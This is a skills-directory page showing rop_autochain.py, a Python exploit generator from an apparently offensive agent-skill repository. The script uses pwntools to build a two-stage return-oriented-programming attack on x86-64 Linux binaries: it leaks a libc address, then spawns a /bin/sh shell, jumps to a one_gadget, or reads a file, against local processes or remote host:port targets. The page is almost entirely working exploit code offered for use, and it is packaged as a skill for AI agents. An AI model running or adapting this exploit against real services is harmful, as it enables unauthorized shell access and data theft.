Skip to content

hypnguyen1209/offensive-claude / skills/exploit-development

exploit-development

Verified

Use when turning a memory-corruption bug into a working PoC — stack/ROP, glibc heap & FSOP, format strings, browser/JIT type confusion & UAF, Linux/Windows kernel LPE against ASLR/DEP/CFG/CET/V8-Sandbox

scripts/rop_autochain.py

View on GitHub
#!/usr/bin/env python3
"""
rop_autochain.py - Two-stage leak-then-shell ROP exploit generator for x86-64 Linux.

Stage 1: leak a libc address via a chosen function in the GOT (puts/printf/write),
         return to main to replay input.
Stage 2: rebase libc, then either system("/bin/sh"), execve via one_gadget, or ORW.

Handles: NX, ASLR/PIE-off binaries (Partial RELRO). Adds a bare `ret` for the
movaps 16-byte stack alignment requirement before calling into libc.

Usage:
    python3 rop_autochain.py ./target ./libc.so.6 --offset 72
    python3 rop_autochain.py ./target ./libc.so.6 --offset 72 --leak puts --remote host:1337
    python3 rop_autochain.py ./target ./libc.so.6 --offset 72 --mode orw --file /flag
    python3 rop_autochain.py ./target ./libc.so.6 --offset 72 --mode onegadget --og 0x50a37

Dependencies: pwntools, (optional) one_gadget for --mode onegadget offsets
"""
import argparse
import sys

try:
    from pwn import context, process, remote, ELF, ROP, flat, u64, log
except ImportError:
    sys.exit("[!] pwntools required: pip install pwntools")


def connect(binary, remote_target):
    if remote_target:
        host, port = remote_target.split(":")
        return remote(host, int(port))
    return process(binary)


def leak_libc(io, elf, rop, off, leak_fn):
    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
    chain = flat(
        b"A" * off,
        pop_rdi, elf.got[leak_fn],
        elf.plt[leak_fn],
        elf.symbols["main"],
    )
    io.sendlineafter(b"\n", chain) if False else io.sendline(chain)
    data = io.recvline().strip()
    leak = u64(data.ljust(8, b"\x00"))
    log.success(f"{leak_fn}@libc leak = {hex(leak)}")
    return leak


def build_stage2(elf, libc, off, mode, args):
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
    ret = rop.find_gadget(["ret"])[0]  # 16-byte alignment

    if mode == "system":
        binsh = next(libc.search(b"/bin/sh\x00"))
        return flat(b"A" * off, ret, pop_rdi, binsh, libc.symbols["system"])

    if mode == "onegadget":
        og = libc.address + int(args.og, 0)
        log.info(f"one_gadget @ {hex(og)} (ensure its constraints hold)")
        return flat(b"A" * off, ret, og)

    if mode == "orw":
        # open(path,0); read(3,buf,0x100); write(1,buf,0x100)  via ret2csu-free libc gadgets
        rl = ROP(libc)
        pop_rsi = rl.find_gadget(["pop rsi", "ret"])[0]
        pop_rdx = rl.find_gadget(["pop rdx", "ret"]) or rl.find_gadget(["pop rdx", "pop rbx", "ret"])
        pop_rdx = pop_rdx[0]
        buf = libc.address + 0x200000  # writable scratch in libc RW segment region
        path = args.file.encode() + b"\x00"
        # stage the path string into the buffer first via a read() the caller arranges;
        # here we assume it was placed at `buf` already, or use a libc string for /flag.
        return flat(
            b"A" * off,
            pop_rdi, buf, pop_rsi, 0, libc.symbols["open"],
            pop_rdi, 3, pop_rsi, buf, pop_rdx, 0x100, libc.symbols["read"],
            pop_rdi, 1, pop_rsi, buf, pop_rdx, 0x100, libc.symbols["write"],
        )
    raise ValueError(mode)


def main():
    ap = argparse.ArgumentParser(description="Two-stage ROP exploit generator (x86-64)")
    ap.add_argument("binary")
    ap.add_argument("libc")
    ap.add_argument("--offset", type=int, required=True)
    ap.add_argument("--leak", default="puts", choices=["puts", "printf", "write"])
    ap.add_argument("--mode", default="system", choices=["system", "onegadget", "orw"])
    ap.add_argument("--og", default="0x0", help="one_gadget offset (hex) for --mode onegadget")
    ap.add_argument("--file", default="/flag", help="path for --mode orw")
    ap.add_argument("--remote", help="host:port")
    args = ap.parse_args()

    context.binary = elf = ELF(args.binary)
    context.arch = "amd64"
    libc = ELF(args.libc)

    io = connect(args.binary, args.remote)
    rop = ROP(elf)
    leak = leak_libc(io, elf, rop, args.offset, args.leak)
    libc.address = leak - libc.symbols[args.leak]
    log.success(f"libc base = {hex(libc.address)}")

    payload = build_stage2(elf, libc, args.offset, args.mode, args)
    io.sendline(payload)
    io.interactive()


if __name__ == "__main__":
    main()
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 197kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall